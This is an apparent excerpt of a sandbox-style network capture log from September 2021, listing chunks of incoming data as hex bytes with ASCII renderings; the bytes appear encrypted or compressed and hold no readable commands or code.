2b 26 b5 8a 16 a2 69 e9 57 67 e8 a0 a7 30 39 39 64 87 83 95 0f 30 3e 2a cf 9b f4 3f 31 87 d4 db eb 50 67 05 2c 19 45 4a 20 f9 b2 d5 38 Data Ascii: Yy \QDyW=U#47PHM+6F4 ^p$Q7wUN1OO.{_jA".YWs3"cj<MTspZ=e<F5aN+Jh^upclFl/{Xn&I#9t+&iWg099d0>?1Pg,EJ 8
2021-09-28 07:53:28 UTC	484	IN	Data Raw: eb 0e 00 7d d1 e2 6d a5 39 11 ed c6 92 30 1b f4 28 4b 35 42 9a 62 33 8e 16 0a 16 e2 aa 3a 9d ef 7b c4 96 53 72 92 2d 12 39 92 58 0b 67 f1 b0 61 18 c6 93 e9 4d b0 58 92 b6 ef b9 58 b5 d1 d5 08 4c 21 03 e1 aa 2b 06 e6 b8 a4 bc 37 79 06 aa 90 74 3d 72 bc 83 21 65 f4 66 9c 8e 2f 1b 52 17 6c 31 db 92 9d d1 ed 8d f5 00 b4 57 bf 35 fa c8 bf e5 19 81 34 e9 e7 7b 35 9e c4 4f fe fb 86 4a 93 76 82 1d 3c b3 db 92 91 8b b2 e8 24 ef b0 a7 ef 2d db 4a c9 9d e2 cd 61 9b aa 9d f2 59 e7 aa cf 0a b3 67 c2 26 dc 8d 8b f1 ab 21 47 4f 9f 70 d3 db 45 d9 2a d8 3d c8 4f 0c 20 29 67 b5 2b f7 39 c1 31 87 c1 99 5d 72 88 e6 60 10 73 44 06 fc 7e 59 fe 8b 0f d3 c1 03 64 6a e9 51 73 43 e9 0c 3e 59 3a 42 ad 1a c4 8e 4f 91 34 2c 63 7d cb 5e 05 94 26 90 4b 1c 75 d7 11 28 9a 4f 28 f2 d5 53 Data Ascii: }m90(K5Bb3:{Sr-9XgaMXXL!+7yt=r!ef/Rl1W54{5OJv<$-JaYg&!GOpE*=O )g+91]r`sD~YdjQsC>Y:BO4,c}^&Ku(O(S
2021-09-28 07:53:28 UTC	488	IN	Data Raw: 2c 38 94 55 c2 44 c6 ff 4c 76 34 ff 7c 25 95 4c 4b ec 7c 89 90 23 20 58 82 1c 19 fd 1a 92 52 bb b7 27 18 f7 3b 82 15 9f 56 16 ae e1 00 53 e6 1c d3 b9 8c c9 69 b4 6b 7b 91 f4 5d 87 d5 3e 24 d7 e2 ba bf 07 14 b4 cf 5f 9f 12 04 82 7e 1a 68 00 85 f7 0c a4 fb ac 97 fb 01 df 15 c0 c2 da be db 05 a9 f6 99 be 1a e9 a5 cf eb 7d 6d ec 19 30 6f d7 de 26 ee 96 d7 f2 10 90 f0 c6 0b 7e 91 58 54 a3 c1 53 76 62 0d f7 85 6f 9b 79 6e 43 8f 9c 97 16 32 c3 59 00 e1 76 8a 8f c8 3d ba bf 28 29 13 1c 6c 10 94 60 e0 b1 a2 0e 5a 4c b4 d5 d1 bc cb 02 6a 9e ea bb b0 be d3 23 95 79 d4 55 f8 7e 41 64 1c d0 2f fb 38 df d2 8d 77 0b 03 9a 7a 08 42 fb 81 35 5c 49 33 a5 71 1c 6b db 77 93 45 39 d0 52 fa f4 9d 5d cb cc 90 f6 9c 6f e9 15 68 e1 f9 aa 60 69 79 ae 94 70 c6 ce e2 f0 a1 63 38 37 Data Ascii: ,8UDLv4\|%LK\|# XR';VSik{]>$_~h}m0o&~XTSvboynC2Yv=()l`ZLj#yU~Ad/8wzB5\I3qkwE9R]oh`iypc87
2021-09-28 07:53:28 UTC	492	IN	Data Raw: ef 1f d2 8e 3d b2 8a 93 4d 36 3f 34 d3 ae a8 88 87 fb 07 2f 67 b4 94 de 10 4c 42 d0 92 bf 60 f6 19 5a 03 97 82 67 e7 64 ea 97 56 71 dc f8 09 74 b1 3b 47 32 09 4c f5 c8 a2 ef ae 1c 50 cb 64 59 50 cb c8 42 2f f2 1e bd 41 14 b9 3b ef c6 cd d4 8c 97 30 6f e8 ad 23 4b 2f aa fe df 4c fe 1e c6 11 db 6d 89 b3 e8 b5 3d b5 89 52 74 b7 58 82 01 6e 51 c8 3f 86 93 24 b2 53 b5 da 21 dc 4c 69 bc a4 e1 e4 c6 38 5e 17 3d 9c d1 60 44 7c 88 56 57 8f 45 21 b7 f5 de 64 f5 41 60 0b 66 fc 52 ce 9f 3c db ef 3f c8 16 01 70 6b d2 5c 29 30 eb 5e 5b 14 21 71 82 b7 89 99 43 5d db a3 6e 4b 97 b2 fe ea 3a 67 6b 5e 5d 3b df c8 5b a8 88 2c 80 61 98 77 74 f2 be e7 9d b2 57 fc 4d 1d 91 c3 9d 7d 30 27 c9 fc f9 28 98 a8 f3 a4 1b f5 9f 1c 1a 5c cb 8f 6f a3 9d 4e 2d 60 be 85 5a 08 8a c8 23 d0 Data Ascii: =M6?4/gLB`ZgdVqt;G2LPdYPB/A;0o#K/Lm=RtXnQ?$S!Li8^=`D\|VWE!dA`fR<?pk\)0^[!qC]nK:gk^];[,awtWM}0'(\oN-`Z#
2021-09-28 07:53:28 UTC	496	IN	Data Raw: 9f 0c 40 11 16 e0 22 fa f0 04 09 c2 bb 25 c3 53 9c 3d 35 7c 00 f2 fc 55 c5 1f 0a ec 8e 61 5e 8a 48 91 57 bf e3 9a 16 c9 18 cd 36 54 6a dc fc 58 d9 5d d6 89 0b 46 1d db f8 a6 11 25 34 f6 7a eb 02 97 cb 74 13 35 95 2e 96 ff 04 a6 14 96 f2 e2 91 c3 8d 23 bb 24 16 17 8c 94 4e 8e 73 91 cb 06 93 07 f4 1e 5c 93 1f af 4c 49 12 44 bd 8f 56 f1 fa fa 7c 8b 70 ed ba 5d ee bb 43 b7 7c 8f d9 ab 41 bb 03 0b 37 25 7e 82 c2 e4 00 3a 44 24 cb 46 c4 f6 f2 f2 83 54 87 2f 90 0d fb 04 45 9c 3c e4 c3 15 48 2b 63 73 c5 cd e3 6b ad 01 1f 38 78 74 b2 30 b7 91 c6 51 54 56 c0 02 19 5c ea a5 a2 96 59 c3 fc 93 4a 94 01 ac 99 0f 90 8e c7 3e 48 32 5c 9e 44 21 ba 79 9d 34 01 b6 4b 75 c5 ab 67 ca 2a 60 d1 2d b5 2a 5b d6 26 5e 55 63 9a f2 5b 8e aa 72 61 38 09 87 b7 ea be 4c 9e 76 f4 5d ac Data Ascii: @"%S=5\|Ua^HW6TjX]F%4zt5.#$Ns\LIDV\|p]C\|A7%~:D$FT/E<H+csk8xt0QTV\YJ>H2\D!y4Kug`-[&^Uc[ra8Lv]
2021-09-28 07:53:28 UTC	500	IN	Data Raw: da 1f 9b 93 6a a3 2a 26 db b6 b9 d8 c7 e4 26 43 c8 55 02 06 43 6c fa 03 4c ca 8e a1 ac 06 a7 f7 03 f8 4e 3d 86 db 0f 63 69 3a a4 59 b5 55 e0 02 d4 07 a0 7c c7 1c 0b 31 a0 89 7f 7e e2 ca 91 cd 5b 19 3c 17 11 5c f9 93 b9 4a 7a 5e 50 6c 8c 34 08 ed 23 70 c3 5b d2 94 21 63 8c e0 8d ee 18 f5 91 a0 ba 82 7d a6 39 8c fa 0f 43 15 35 8c 2e 87 46 ca 5c 4b c2 a3 3a 3d d5 95 be e0 b7 ee 95 92 3c d6 27 3f 65 7e 40 57 3c 0d 22 78 c6 b8 48 c5 56 d9 08 0c 2a 25 1f c8 16 c2 07 3f f8 e1 fe aa 25 88 bd 4e 54 29 cd 7f 9f 98 18 a7 33 53 1d a4 ae 2e 8a 79 cf 20 c5 55 a6 63 0c df 73 d5 63 15 e8 a2 28 01 2a 71 b7 c8 8a 9c d5 f9 6f 39 7d 17 e7 4b 5c ee 5b 87 76 10 55 09 eb ce aa c5 a0 49 ac 09 d0 d6 c3 3c 9f 41 79 37 b8 64 3e 40 67 ca f2 e3 8e 7d 12 54 8c 92 1a 5a 2a e0 98 aa 18 Data Ascii: j&&CUClLN=ci:YU\|1~[<\Jz^Pl4#p[!c}9C5.F\K:=<'?e~@W<"xHV%?%NT)3S.y Ucsc(qo9}K\[vUI<Ay7d>@g}TZ
2021-09-28 07:53:28 UTC	504	IN	Data Raw: 76 ed da 6a 8c f4 3a 02 cb 03 31 e5 d5 ec f7 7b 8f b7 f6 ef 0b c6 da 85 1f a6 0b e7 34 ff d3 96 45 4c 0b d4 86 83 ca 69 ff 56 5b 75 71 f7 bd 6a 61 03 38 ee 4c d9 b6 ab 64 2c c6 45 30 b8 59 f1 b4 63 c6 75 6c 6f 33 f1 42 46 67 d5 f7 a4 8b ab b9 50 23 ea 0d 04 38 3a 45 c9 06 41 8b ee be f3 91 dd 49 3e e5 61 2a 35 ae cc 6c 96 44 ca 99 1f 3e 25 0f c8 70 14 c7 09 9b d3 03 b6 2b 05 1f 89 35 9c 38 54 ef 6c ba 75 a4 d9 9d cb 7b df 57 9d d7 97 e4 4f 9b aa a7 6a de e7 27 ba 59 e9 b3 14 d8 47 6e 15 2f 32 11 db 41 fb 94 14 a3 15 45 21 ef 04 36 6b 9e b8 41 57 39 8c ce b1 0e 75 e7 6d d7 24 a2 c9 04 b2 b2 e8 61 f5 97 92 13 86 ee 0f 34 84 3c 3e 67 13 d7 b5 8a da 56 ab 14 4d 26 17 c1 49 b6 c8 52 c4 9c 90 98 64 52 87 0f 61 ed 01 1a 9a 79 05 0a d5 cf ad 29 54 8b a6 76 4a b7 Data Ascii: vj:1{4ELiV[uqja8Ld,E0Yculo3BFgP#8:EAI>a*5lD>%p+58Tlu{WOj'YGn/2AE!6kAW9um$a4<>gVM&IRdRay)TvJ
2021-09-28 07:53:28 UTC	508	IN	Data Raw: e1 a2 9d a8 35 f3 80 f0 83 de c9 21 64 67 c5 c1 5d da 76 9b 59 20 91 35 6f f8 d7 81 a1 f7 d4 c5 d4 d3 4c 8a 2a ac 4f 1e 5c 7f e0 d8 04 0f dd 98 54 d0 90 3a f8 a7 86 30 ca a3 54 26 ef df ff 43 24 e4 05 8a 21 d2 59 48 fa 7b 46 a7 7a 44 b2 05 32 84 34 c1 da 4b 06 ad 75 5f 0b d9 4b 70 df 52 b9 98 a8 d1 8e a5 43 92 ac 66 94 da dc f2 4d dd ef f6 84 54 78 6d ba 9b 6f 22 cf 82 8b 1f 9f ea 5f 66 c4 ce 12 e1 ea dd 34 27 fc d7 fd 07 95 58 ae fa 81 6c d3 11 34 fd e3 d9 52 8f 27 8f 5e 3c 2c ec 71 be d3 8f 88 dd 8a 27 dc 49 c6 17 30 0a 01 57 c6 0d 29 47 d2 ba d2 91 47 21 19 92 cf 8b 75 69 47 91 f6 75 78 4b 6f ed b0 ac 47 76 d6 31 59 5a 5c 6b dc aa 49 83 62 76 f6 13 bb f0 b4 96 0e c0 63 fa 74 26 db 50 45 ce cd 0c 64 e1 27 82 16 f8 a1 6e 13 ec bd 73 44 6c 9b 70 3b 50 44 Data Ascii: 5!dg]vY 5oL*O\T:0T&C$!YH{FzD24Ku_KpRCfMTxmo"_f4'Xl4R'^<,q'I0W)GG!uiGuxKoGv1YZ\kIbvct&PEd'nsDlp;PD
2021-09-28 07:53:28 UTC	512	IN	Data Raw: 92 47 98 59 5b 6f f0 e5 c8 19 7c db 61 d6 ba a2 08 e6 ef 33 3c 09 ad b2 7c 84 54 cc 70 eb 99 63 ef 12 c5 d3 70 c7 42 6c 97 32 18 25 a5 17 84 6d cc 85 84 be 1c 11 4a 9d 43 12 9d 43 d8 0e 91 67 c3 51 4e a4 a0 82 e7 f8 d2 37 32 17 81 dc 64 1b 01 ef ca 89 f9 46 8d 06 6e e7 31 9e 79 be 56 a3 ad 1a 20 17 b3 61 16 af 19 a0 2e ae e0 af 64 f2 82 d5 f2 bc 5c 89 b0 ae a9 c3 83 95 ae 81 90 c8 cd 5e 1a 9f 8c 1d 7d 7c a7 4e d4 c7 95 60 80 15 93 cb 09 ad 0a 3e 73 ab de 87 e8 1b 2e 84 9c 21 7f da ce 20 e5 f9 fe a2 a2 ac 8c 41 ec 10 4d 90 a6 11 a6 8b 7b 1b 59 a3 79 83 98 be 5d 32 8d 1b 3a ea 46 48 28 47 e1 57 97 de e1 cc 2a f4 ec 7e 0f 97 c0 a9 e8 94 f1 6c 24 77 95 d7 fd 87 7d aa cb fa f9 b3 c5 9f 43 4e 15 66 48 53 d0 3b e5 36 7e 5c c6 b2 16 00 43 b6 2e 5b e6 47 13 12 ff Data Ascii: GY[o\|a3<\|TpcpBl2%mJCCgQN72dFn1yV a.d\^}\|N`>s.! AM{Yy]2:FH(GW*~l$w}CNfHS;6~\C.[G
2021-09-28 07:53:28 UTC	516	IN	Data Raw: 17 1e 36 0c a0 9e 20 80 f5 4c cb 94 04 84 e4 8e f5 f9 38 05 93 12 e0 60 14 f5 32 76 f5 fd b6 73 fd 66 45 18 8d 4b a0 00 cf 6e cc 95 3d b7 b5 fb a8 e4 0b 32 f2 97 88 c8 44 b4 fe 10 a4 c9 ac 84 d5 ba 7d 39 ea 08 23 93 c8 27 65 0b 2c b2 48 a8 32 ad 40 7c 5f 05 d0 8c c9 c4 89 f6 4b 7d 94 13 99 75 47 a3 a0 44 f6 4d 3a 57 51 b3 32 76 c8 47 92 da 90 49 4d 45 85 65 1a b2 f2 aa 38 bb bf 4c 97 5d be 2b d7 cb 43 d2 4e e5 b4 6b f1 06 3b ef 61 44 26 ff 8a 40 dc f5 11 04 c9 85 00 57 91 e6 67 aa fb 6f 50 0b e4 bd c1 1d d9 ec c5 13 be fd f1 bb 50 f7 59 cc 9e fe 2a 3f 60 9c 1e 57 8d c8 fc 8e df d2 0a 63 a7 80 8f e8 7a d3 9e 47 0d 2a d0 de 73 83 2e 7f 33 41 33 24 5b ef a3 9a 1e 9f 32 60 c0 a7 24 ba 90 e7 13 3c 5f cb a0 8e 40 38 ad fc ea 6c 90 06 65 f0 96 eb 77 49 34 25 5a Data Ascii: 6 L8`2vsfEKn=2D}9#'e,H2@\|_K}uGDM:WQ2vGIMEe8L]+CNk;aD&@WgoPPY?`WczGs.3A3$[2`$<_@8lewI4%Z
2021-09-28 07:53:28 UTC	520	IN	Data Raw: 9c c5 37 8e 4e 51 ad 0f a4 fb a3 2d de 2f 55 2c 8a 00 0a b6 d2 e3 6b 7c 13 06 f3 83 87 fa 71 c0 1e c1 4a af ca 05 04 23 f6 9e 19 c5 2d bc 29 4c 4f e5 b9 06 1d 58 f3 63 48 1e 4d 0b 6d 66 75 d7 12 3f dc d6 96 47 c5 66 cf 67 60 f4 92 eb 14 73 c6 c9 59 e5 b7 00 d7 ce 01 c7 b8 d8 8c 6b d4 8a 8d 06 c6 46 8e 9f 0f 7e cb 11 db 87 06 bb 3b b8 59 0d de 3b e1 2e c8 61 93 14 27 b2 0b 69 33 79 7f 41 53 8c aa 9c f0 b7 95 61 16 58 02 59 b2 0c 4d 38 d7 d8 2c dd ef f6 4a 1d 78 fb 97 0d 86 de df 97 21 c8 64 85 04 f0 dd 75 26 f3 d8 f8 a9 77 fb aa c2 cd e2 bf 99 f9 9d 14 a9 47 b5 4a a3 fb af fb 50 e3 67 5a a9 8d b6 be fd f2 97 bc 0c 15 04 5b 70 d8 9f 30 b9 83 8e 31 db d6 ad ea 38 2c b5 3d 35 51 eb dc b1 d5 72 8d d6 eb 92 20 8e d4 88 61 40 3d 5f 2b 7b 8e eb 25 c7 65 e7 4b e7 Data Ascii: 7NQ-/U,k\|qJ#-)LOXcHMmfu?Gfg`sYkF~;Y;.a'i3yASaXYM8,Jx!du&wGJPgZ[p018,=5Qr a@=_+{%eK
2021-09-28 07:53:28 UTC	524	IN	Data Raw: 47 92 2a 30 36 42 65 de d9 b0 63 58 98 e4 bf ac 94 f8 6c 58 ec a6 82 6d c7 9c 2f 2f 99 4f f3 be 80 0f 02 b9 4d 27 3b 81 ff 1f 83 cc 73 7d da 45 fc 88 4e 21 76 73 41 a2 de f6 b3 8d 14 b4 7b 76 29 7c e3 dc bb e0 9f 6c fd 4e e3 a5 5b fc 93 ff 76 ca d8 6c f9 b4 ac de e4 5c 97 e7 cc ac f1 1e 4e 4f 9c 0a 5e d8 af 17 6f 56 cf 00 54 6b 39 57 93 cf 09 5f 2f e0 cd f4 58 f6 c4 59 bb e0 eb a5 40 cb 67 3d 88 bf de 0f e4 14 41 64 9a 34 80 da e1 2c 06 09 81 91 08 47 a4 35 36 70 e5 64 e5 17 a7 76 ae bd 3a 4b 58 29 e2 0a 82 93 56 6e 42 23 20 db fa 52 28 6e 3f df 22 e1 8b 0e 8b 51 2a 86 62 29 29 6c 3c db d4 01 33 be b4 e8 d8 bb dc 85 72 5b 5b 4e 70 f5 f0 70 86 e4 fb b7 18 ec 50 69 d2 6b 5a 0e 74 c1 80 a8 e8 70 62 ff 71 79 b7 4c fd be da 66 a5 cd 9f ab 79 0d 22 23 fe d1 c9 Data Ascii: G06BecXlXm//OM';s}EN!vsA{v)\|lN[vl\NO^oVTk9W_/XY@g=Ad4,G56pdv:KX)VnB# R(n?"Qb))l<3r[[NppPikZtpbqyLfy"#
2021-09-28 07:53:28 UTC	528	IN	Data Raw: 05 a1 dd bb d4 06 ff fd a0 23 d3 88 8c b9 4b d9 ee 0e 56 55 3d 18 d7 d7 45 26 45 7d 89 5d 7a 52 a6 a2 ec d8 50 e2 2e 8f 6d 9a b6 87 d5 8f da d3 fc 08 f3 e3 9e 36 6c 07 83 f5 07 2b ef cc 52 b4 6d 9e d1 6d 57 c5 42 59 43 d3 8a 60 67 ca 7c c9 93 8a 66 31 51 95 fe fe 6d 92 32 a4 a8 4b 6c a9 5c 60 6f d7 0a 74 7e 72 41 59 92 08 2c 71 79 fc c4 8b ca e8 ee ee ef df cb e3 ca 02 0c ef 5d eb 8f 76 8b c5 a0 af 12 08 fe 76 ab e9 4b 94 07 f2 4b ee c9 ed be ea 8c ee 19 06 86 03 ff 57 de 76 39 06 a4 3d f8 7f c1 6f 79 74 f9 16 bb 5e 22 56 79 e3 bc 62 13 a5 46 a0 93 bf 7e 2f 5f d3 a2 84 29 33 4e be c1 46 dd 58 70 ae 0a 0b 4f 08 c5 28 df 23 7a 5b bd 34 34 0e ad 58 4f 37 94 d4 71 2c 08 48 c1 47 55 47 24 4c fe 66 22 56 b9 29 0c c3 f9 e3 35 e3 84 03 6a 51 aa d7 48 6a 82 6c 3b Data Ascii: #KVU=E&E}]zRP.m6l+RmmWBYC`g\|f1Qm2Kl\`ot~rAY,qy]vvKKWv9=oyt^"VybF~/_)3NFXpO(#z[44XO7q,HGUG$Lf"V)5jQHjl;
2021-09-28 07:53:28 UTC	532	IN	Data Raw: 52 02 13 39 18 29 00 5a 7f 4b 7d a2 ca da bb 65 9f 5c bf dc 7d 39 66 23 c0 1d 38 4d 51 40 a7 a5 6c 4d 83 65 10 bd 09 07 76 c3 ae 4f 01 ed c6 8b e1 21 48 57 97 20 b8 d7 4a 92 1d 4f bd fc d6 2c f6 4c f5 ac 63 f1 f9 5e d2 f1 d1 44 b1 2a 30 86 b1 d8 d0 64 61 fc b9 18 75 62 0e e6 d3 e2 d6 30 39 77 e4 53 e1 ea 17 d0 13 68 16 46 9f f7 da 4b 7c 1f 9a 47 07 61 3a 6f 5d b3 06 08 70 f7 2d 6f 58 c1 e7 96 a6 2d 4f 8e cf 59 68 b4 85 4b 67 7e c0 2f e3 92 99 a8 9a 49 a2 b6 59 30 5c df 11 a1 37 a3 9b 56 fb 46 19 9f 8a c2 c8 bd 0b d0 16 ae c7 28 56 45 89 23 48 1f 03 18 93 3b 28 46 a8 66 9e 9e 07 da e8 b4 82 76 4d ac 6b ae eb c5 88 8d 38 7a d5 53 b4 07 92 c6 ad f7 2e f6 82 e8 dd 3e 86 93 ad 16 7a 3d 38 4c 01 c3 ba 60 1a 11 c3 a6 a8 a8 98 c3 00 e1 a5 29 9a 98 a1 99 52 9f d1 Data Ascii: R9)ZK}e\}9f#8MQ@lMevO!HW JO,Lc^D*0daub09wShFK\|Ga:o]p-oX-OYhKg~/IY0\7VF(VE#H;(FfvMk8zS.>z=8L`)R
2021-09-28 07:53:28 UTC	536	IN	Data Raw: 36 97 05 84 74 70 ae 31 dc 8b c7 20 0d e0 c7 eb 79 29 a9 18 a6 93 a1 db 7f a0 36 c3 b6 26 9f b9 15 40 96 b0 48 54 a1 d0 36 cf ee ab 9b 40 87 ff b0 28 5a 18 24 9f 1b 5d fe a6 4a 9a 0b 74 75 64 88 31 89 d7 03 e3 cd 38 3c 0b 43 fd 5f 89 a4 bf 3b 0f 75 01 26 fd a3 b5 50 e9 06 02 52 0d bc 80 bc 18 81 d4 31 0f 2f 21 fd 07 7c 39 94 0e b6 7f b1 8f 93 23 dd a5 62 3e 5d 06 9e 29 c5 e3 2a 75 48 90 d4 d8 3b ee dd 5a 14 d3 16 38 09 f7 9d af 54 36 f8 d6 49 71 da 64 32 46 01 3e d7 68 ce 5c 17 19 d5 ff 65 dc b1 ea 92 65 d8 9e c6 cd 75 14 0f 95 15 99 db 93 95 fa 98 5f 95 5e 9c 2e 9b 49 da 7f da a7 49 36 a2 bb 68 10 12 aa 6c 32 c8 72 31 87 87 30 4e 3d be 9a 29 f3 ab ee 75 d2 f5 c5 ef d5 36 2b 62 40 b0 8d 5f b8 91 7a 9f 12 61 f0 47 a3 ee a9 d0 4a 39 04 dd 14 5d a5 c8 f8 8a Data Ascii: 6tp1 y)6&@HT6@(Z$]Jtud18<C_;u&PR1/!\|9#b>])*uH;Z8T6Iqd2F>h\eeu_^.II6hl2r10N=)u6+b@_zaGJ9]
2021-09-28 07:53:28 UTC	540	IN	Data Raw: 73 1c 6a b6 52 12 b8 df a1 c6 02 46 25 dc 61 67 4f 2b d8 84 5e 31 1a 7a b3 53 58 76 ce af 9f 39 12 46 64 8e 2a 57 14 20 68 32 de 46 cb e0 3e 93 cf 10 d3 fd 1d b7 5e 35 a9 95 36 e1 33 d0 5e da cc 6d a1 13 d0 67 a4 9d 94 bb 0e 75 a7 0a b5 1f 53 2f 31 78 ae 67 cb 04 2e 55 71 e0 80 62 26 73 18 cd d0 89 54 a4 f9 da de 32 59 ba b7 aa 36 1e 07 01 7b 82 4a 4b 39 2b c3 94 0d 52 fe ae 89 6e 1c cb c8 6b fe ab c6 2b 80 62 49 47 cd 3f 87 5f b8 82 90 2f 78 d9 da af 6b 7d ad 75 d2 66 80 e5 ae ad 20 d2 8e 2d d1 2e 60 94 27 1c 30 3f 69 7b 20 da 10 c9 79 00 59 79 98 6a 4e 11 25 ac 8b ff 81 6d c6 3c ad d7 b5 2f fd b6 23 4f 12 8d 16 4a 0c 14 d2 4a fe 26 43 08 81 44 87 f1 b6 af d6 07 2d ea 44 15 91 f7 54 d3 c4 ee f9 62 0d 9a f5 29 4a 8a 29 c6 77 11 c8 d2 00 9e 9e f3 18 d6 7e Data Ascii: sjRF%agO+^1zSXv9Fd*W h2F>^563^mguS/1xg.Uqb&sT2Y6{JK9+Rnk+bIG?_/xk}uf -.`'0?i{ yYyjN%m</#OJJ&CD-DTb)J)w~
2021-09-28 07:53:28 UTC	544	IN	Data Raw: d9 72 18 a5 70 be f4 61 51 f0 a6 35 a8 18 76 e7 e6 aa d9 9e a8 10 25 dd 18 79 5f d5 26 0a a3 bc d2 ef 49 28 f4 59 2e 96 b1 eb a8 49 68 ab 5e a9 24 54 de ca 7d 4a 19 d8 2e 1c da 8c f6 ca 04 74 3a 00 1b b2 23 d3 c8 9f cd f4 bd 0e 3d 90 62 b0 cd 25 40 46 c5 ce 75 e6 c8 df 3f 08 9b de 08 a2 d3 f6 54 2d f9 97 62 52 76 ad 30 5b 46 cd c4 f9 9a ce f7 a5 ef 0a 79 9f cd cb 7b 50 79 8a cf 1e 50 69 6e 0c 56 dd cb e7 02 2c 51 db 7d 19 5f b3 c3 3b b1 4d 4f 48 e7 1d 41 8e 96 19 f2 dd 07 68 85 87 f3 7a fa 52 bf ee ba 97 3a 58 36 25 bd 8e d5 84 f4 57 95 80 7b 6f f8 7e 5d 5c 85 aa e3 dd 67 49 b4 e9 13 fc d4 5c 96 3b f8 fa 4f 63 e8 73 a1 6f 5f 49 8e 12 da 6c 1b ba 9d 65 c2 ac 2f 82 09 8a 4f a0 ff 3f 15 41 5f 1d bd 32 a3 79 c8 d6 03 2b c6 8d ce 8a f4 b6 37 75 9a 5a d8 94 32 Data Ascii: rpaQ5v%y_&I(Y.Ih^$T}J.t:#=b%@Fu?T-bRv0[Fy{PyPinV,Q}_;MOHAhzR:X6%W{o~]\gI\;Ocso_Ile/O?A_2y+7uZ2
2021-09-28 07:53:28 UTC	548	IN	Data Raw: e3 98 30 d9 86 3e 45 cb 62 6e 69 9f 95 14 b0 14 8a b3 11 b3 bb 30 e6 d0 a6 02 9f fe 02 75 a7 ff 3b b4 98 23 5c 97 c0 d6 05 c2 36 fb d2 62 fc 69 5e d5 70 e9 f2 dd 58 d1 29 1a 2b f3 18 07 c5 ab fb 53 e7 3f b4 43 40 61 67 2d 88 f2 87 ff 5e 72 9d 85 6e 1e 62 09 c4 e5 e3 df 22 52 82 11 06 09 91 5e f4 c8 fc bd 11 cf 64 30 fa 4c 5c 00 27 20 d2 c4 4d e0 54 84 f1 04 fa 4a d0 58 e6 84 cc 52 9e db 6c 9e ac 32 69 85 0a 67 15 bc 4f 20 24 ac 6f 36 ef 7c 56 42 b5 c5 a7 8a d5 ac 1b 8b a2 d2 ad e9 dc 66 be 34 fc e9 be 67 cd 62 22 65 57 f1 22 5c 64 b0 d6 90 92 b6 b8 9f e4 d9 d9 a7 d9 08 7e 31 a3 4a 4b b9 ec d2 33 26 2b fc b8 52 dd 00 d1 42 e4 b5 b6 b1 6c 11 17 57 c1 73 f8 da 3c 6f 66 1c e4 82 5b ec 4d 14 00 77 70 98 2f e8 ea 27 0b 08 2c f6 2a 41 e5 ca 16 8e a4 79 23 58 86 Data Ascii: 0>Ebni0u;#\6bi^pX)+S?C@ag-^rnb"R^d0L\' MTJXRl2igO $o6\|VBf4gb"eW"\d~1JK3&+RBlWs<of[Mwp/',*Ay#X
2021-09-28 07:53:28 UTC	552	IN	Data Raw: 33 67 47 7c b6 6c 87 60 bc 13 f2 25 17 96 e9 32 77 d2 ca cc cd 6e f0 70 c6 ed f8 80 69 c7 23 e7 0b 98 cd b6 05 ff a3 0d dc 19 3d 5f dd 62 0d a6 35 fc 97 5a 17 0e d6 13 e7 af 23 63 9c 26 5c c0 36 eb 61 97 28 b8 00 1d 13 37 4d df cf cc 96 6a b3 bd 6a fd 85 99 54 ef 4c dd f6 25 19 d8 d8 35 40 ac d1 e9 f1 3e ca 22 b6 51 66 26 90 c4 96 31 1e 6d 97 63 fd 08 f0 32 f8 11 90 56 b9 d6 6d e8 87 ca ae a2 df a5 a4 88 46 15 2f a3 7c c2 69 18 43 f7 28 38 60 f7 5d 14 ec f8 80 3d 5e 84 e7 92 1b c0 d0 1b 4b c8 d3 79 b3 b0 52 5c 80 1f 21 c0 66 0d 84 d8 50 fa d7 1a de 87 3a c0 c5 ad a3 6f 31 21 af c1 2b bd 62 3d dc 62 95 af 97 eb 9d c0 c6 ce dc f5 14 5b 6d 97 64 51 c7 9e 4a 54 05 8e 23 af 90 51 f4 d4 80 f0 57 0c 3a 48 d6 50 97 3c fa b2 c3 4d 05 45 bb 7c 26 3b ba b7 2a 51 b4 Data Ascii: 3gG\|l`%2wnpi#=_b5Z#c&\6a(7MjjTL%5@>"Qf&1mc2VmF/\|iC(8`]=^KyR\!fP:o1!+b=b[mdQJT#QW:HP<ME\|&;*Q
2021-09-28 07:53:28 UTC	556	IN	Data Raw: 7e 25 15 b6 56 d2 4a f0 6f 82 9d 5f cb 82 ab 6d 1e fe e3 31 c3 2c 19 c4 67 e6 4f dd a7 8e 53 85 92 42 27 10 1b a9 7f 56 8c ff 08 be 16 a3 69 b7 1e 07 05 f5 20 c6 cb 29 5f cc c9 63 2e db 90 f2 a9 7a 2d c1 30 6b 87 9a b4 7e ab 84 34 18 6a 4c e5 21 d2 41 7e 5a b4 56 33 0d 21 88 ff e6 2f 5c cb fe 76 af 2b af 67 c3 aa 9e dd 6a 54 61 8c 3d 13 ea 7e 8c 59 8e 8b 06 db 07 ea aa 77 fb a1 7e d5 0b b6 41 0f 50 a9 54 1d 55 6b 31 30 bc 95 70 73 5d f2 6e e4 35 f8 bc 58 88 54 05 c2 5a 94 8e d5 21 f7 0c 86 39 98 09 7f f7 76 1f dc f7 a4 73 fc d8 00 ee e0 60 fa 35 75 56 d6 b1 cf 2d 33 3b c4 a2 6b c0 6f b3 23 e7 6d 5b c5 0a 08 3d bc a9 a2 8e 5a f6 15 d5 5a 3f 01 17 4d 49 0d aa 08 aa 5a 25 a3 d0 3d a6 b4 43 f1 bd 67 b2 75 5b fa 95 3a 75 83 58 95 5e 28 99 99 08 e1 c3 be 5f e3 Data Ascii: ~%VJo_m1,gOSB'Vi )_c.z-0k~4jL!A~ZV3!/\v+gjTa=~Yw~APTUk10ps]n5XTZ!9vs`5uV-3;ko#m[=ZZ?MIZ%=Cgu[:uX^(_
2021-09-28 07:53:28 UTC	560	IN	Data Raw: 8b d1 d2 e2 59 f0 30 88 ce 36 40 6d 13 65 54 12 fe b1 8c d8 a7 8d 92 1c 64 70 89 31 3b e3 fe 86 2d dc ec cb 6c 29 b5 27 f4 bd 44 70 ff 9b c8 41 a0 60 d4 1e 03 5c f3 ec 50 69 4a 95 20 9f 7d 9f 84 55 3b e9 24 4d bd fd 65 16 d7 b1 19 18 f4 96 43 4a 8d 5f ff a0 e9 9e 47 98 c4 b9 87 ad 47 e7 40 a1 ec 6a 29 24 ae cf 69 b9 b5 9d a7 c0 3e 10 94 c8 c7 e6 c8 ea c7 bf 91 a0 e9 86 02 75 68 62 d3 ca d3 e6 52 27 ed 3c 5a 74 e3 db e2 82 30 c0 91 82 44 3b 0b d2 3f b8 3a 67 93 ea 1b c2 4f f0 be 02 31 2d 75 b9 06 45 1e 33 6e ef 1d bd 4d 1f 21 f9 28 a3 